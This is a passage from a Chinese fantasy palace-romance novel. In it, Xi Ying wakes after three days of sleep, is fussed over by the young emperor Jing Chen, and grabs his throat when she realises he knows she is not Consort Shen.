封峻劝孔二毛:“你就别瞎掺和了,奚萦带着防身的符箓,小皇帝伤不了她的,趁此机会让他们多接触呀,她进宫不就是为了这个目的吗?你看现在多好,她就往那儿一躺,小皇帝自动就黏上去了,啧啧啧,奚萦真是个勾引人的天才呀!” 孔二毛气得啄他脑门儿:“骚狐狸,心肠坏,长得更是奇奇怪怪,脸宽似海眼缝窄,一辈子都没人爱,嘿没人爱!” “孔二毛!老子今天就把你舌头拔下来炒了下酒!” 他们这些小打小闹景辰自是不知道,奚萦一直不醒,他焦虑得天天睡不着,这才第三天就挂上了两个硕大的黑眼圈,那张俊得妒杀狐狸的脸都有些黯然失色了。 除了得到黑眼圈外,这三天里他还学会了不少照顾人的活计,比如擦手擦脸,梳头喂水,至于擦身,咳,他真不敢,都是让宫女做的。 一开始他还时不时弄湿奚萦的衣袖或是扯断她的头发,现在已经干得十分顺手了,甚至还能边干活边单方面跟她聊天:“蓝姑姑怎么还不来啊,这些家伙就不能对你的安危上心点吗?特别是那孔二毛,逮着机会就往床上藏,不知廉耻……” “唔,谁?孔二毛啊?” “对啊,就是他,实在可恶——啊!你你你,你醒了?!” 奚萦揉揉眼睛,似乎还没搞清楚状况,景辰已经将手里的帕子一扔,扑过来摸摸她的额头,又替她把了把脉,连声问道:“你感觉怎么样?有没有哪里不舒服啊?” “啊,好困,还有点渴……” 景辰闻言起身从床边的小桌子上端过一杯温水,一只手扶起奚萦,让她半靠在自己肩上,一只手将水递到她唇边。 奚萦确实是渴了,脑子也混沌着,水递到嘴边便咕嘟咕嘟喝了,迷迷糊糊中察觉到有人用帕子轻轻帮自己擦了擦唇边水渍,又柔声问她:“还要吗?” 她摇头,此时她浑身疲惫,只想继续睡,于是整个人像没骨头似的滑了下去,刚闭上眼又听那人道:“你都睡了三天了,到底怎么回事啊?哪儿不舒服吗?你先跟我说说话吧,你这样睡下去很吓人啊……” 脑袋被人从软绵绵的枕头里挖出来,奚萦恼得想打人,强行睁开眼打算看看是谁这么狗胆包天,不期然对上了一双有点熟悉的瑞凤眼。 “你是,小皇帝?” 景辰撇撇嘴:“我哪里小了!我都二十了!” 奚萦混沌的脑子终于找到一丝清明,她看看景辰又看看陌生的床和帐子,终于察觉到事情不对劲。 “我这是,这是在哪儿?发生什么事了?” 景辰不想让她再睡下去,干脆半扶半抱着让她坐起来,又拿过靠枕让她靠着,这才将事情挑拣着跟她说了:“三天前你忽然昏睡不醒,查不出任何缘故,我便将你带回蓬莱宫,你到底是怎么了?” 奚萦喃喃道:“三天了,三天前,我在承光殿……” 她在承光殿跟富贵儿、魇魔、孙胡讨论要把小皇帝给扒光了让富贵儿作为化形的参考来着……小皇帝…… 奚萦下意识抬手摸了摸自己的脸。 看到她这个动作,景辰忽然有种寒毛直竖的感觉,还没等他作出反应,一只修长的手已经掐住了他的脖子。 “你知道我不是沈嫔了?”